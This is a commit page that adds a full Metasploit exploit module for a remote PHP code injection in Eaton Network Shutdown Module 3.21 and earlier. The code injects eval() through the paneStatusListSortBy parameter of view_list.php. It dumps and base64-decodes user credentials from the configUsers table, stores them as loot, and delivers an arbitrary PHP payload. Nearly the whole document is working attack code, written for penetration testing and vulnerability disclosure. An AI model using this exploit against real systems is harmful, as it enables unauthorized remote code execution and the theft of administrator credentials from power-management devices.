Skip to content

Commit 6b524ff

Browse files
committed
Merge branch 'eaton_network_shutdown' of git://github.com/h0ng10/metasploit-framework into h0ng10-eaton_network_shutdown
2 parents d130d38 + 897ae10 commit 6b524ff

File tree

1 file changed

+137
-0
lines changed

1 file changed

+137
-0
lines changed
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection',
18+
'Description' => %q{
19+
This module exploits a vulnerability in lib/dbtools.inc which uses
20+
unsanitized user input inside a eval() call. Additionally the base64 encoded
21+
user credentials are extracted from the database of the application.
22+
23+
},
24+
'Author' => [ 'h0ng10' ], # original discovery, msf module
25+
'License' => MSF_LICENSE,
26+
'Version' => '$Revision$',
27+
'References' =>
28+
[
29+
['OSVDB', '83199'],
30+
['URL', 'http://secunia.com/advisories/49103/']
31+
],
32+
'Payload' =>
33+
{
34+
'DisableNops' => true,
35+
'Space' => 4000,
36+
'Keys' => ['php']
37+
},
38+
'Platform' => ['php'],
39+
'Arch' => ARCH_PHP,
40+
41+
'Targets' => [[ 'Automatic', { }]],
42+
'DefaultTarget' => 0,
43+
'Privileged' => true,
44+
'DisclosureDate' => 'Jun 26 2012'
45+
))
46+
47+
register_options(
48+
[
49+
Opt::RPORT(4679),
50+
OptBool.new('READ_CREDS', [ true, 'Extract credentials from the target db', true ]),
51+
52+
], self.class)
53+
end
54+
55+
def check
56+
# we use a call to phpinfo() for verification
57+
res = execute_php_code("phpinfo();die();")
58+
59+
if not res or res.code != 200
60+
print_error("Failed: Error requesting page")
61+
return CheckCode::Unknown
62+
end
63+
64+
return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/)
65+
return CheckCode::Safe
66+
end
67+
68+
def read_credentials()
69+
pattern = rand_text_numeric(10)
70+
users_var = rand_text_alpha(10)
71+
user_var = rand_text_alpha(10)
72+
php = <<-EOT
73+
$#{users_var} = &queryDB("SELECT * FROM configUsers;");
74+
foreach($#{users_var} as $#{user_var}) {
75+
print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
76+
} die();
77+
EOT
78+
79+
print_status("Reading user credentials from the database")
80+
response = execute_php_code(php)
81+
82+
if not response or response.code != 200 then
83+
print_error("Failed: Error requesting page")
84+
return
85+
end
86+
87+
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
88+
89+
return if credentials.length == 0
90+
print_status("Got #{credentials.length} record(s):")
91+
cred_txt = "#Username:Password\n"
92+
credentials.each do |record|
93+
print_status("Username: #{record[0]}, Password: #{record[1]}")
94+
cred_txt << "#{record[0]}:#{record[1]}\n"
95+
end
96+
97+
loot_name = "eaton.nsm.credentials"
98+
loot_type = "text/plain"
99+
loot_filename = "eaton_nsm_creds.txt"
100+
loot_desc = "Eaton Network Shutdown Module credentials"
101+
store_loot(loot_name, loot_type, datastore['RHOST'], cred_txt, loot_filename, loot_desc)
102+
end
103+
104+
def execute_php_code(code, opts = {})
105+
param_name = rand_text_alpha(6)
106+
padding = rand_text_alpha(6)
107+
php_code = Rex::Text.encode_base64(code)
108+
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
109+
110+
res = send_request_cgi(
111+
{
112+
'uri' => '/view_list.php',
113+
'method' => 'POST',
114+
'vars_get' =>
115+
{
116+
'paneStatusListSortBy' => url_param,
117+
},
118+
'vars_post' =>
119+
{
120+
param_name => php_code,
121+
},
122+
'headers' =>
123+
{
124+
'Connection' => 'Close',
125+
}
126+
}, 5)
127+
res
128+
end
129+
130+
def exploit
131+
read_credentials unless datastore['READ_CREDS'] == false
132+
print_status("Sending payload")
133+
execute_php_code(payload.encoded)
134+
handler
135+
end
136+
end
137+

0 commit comments

Comments
 (0)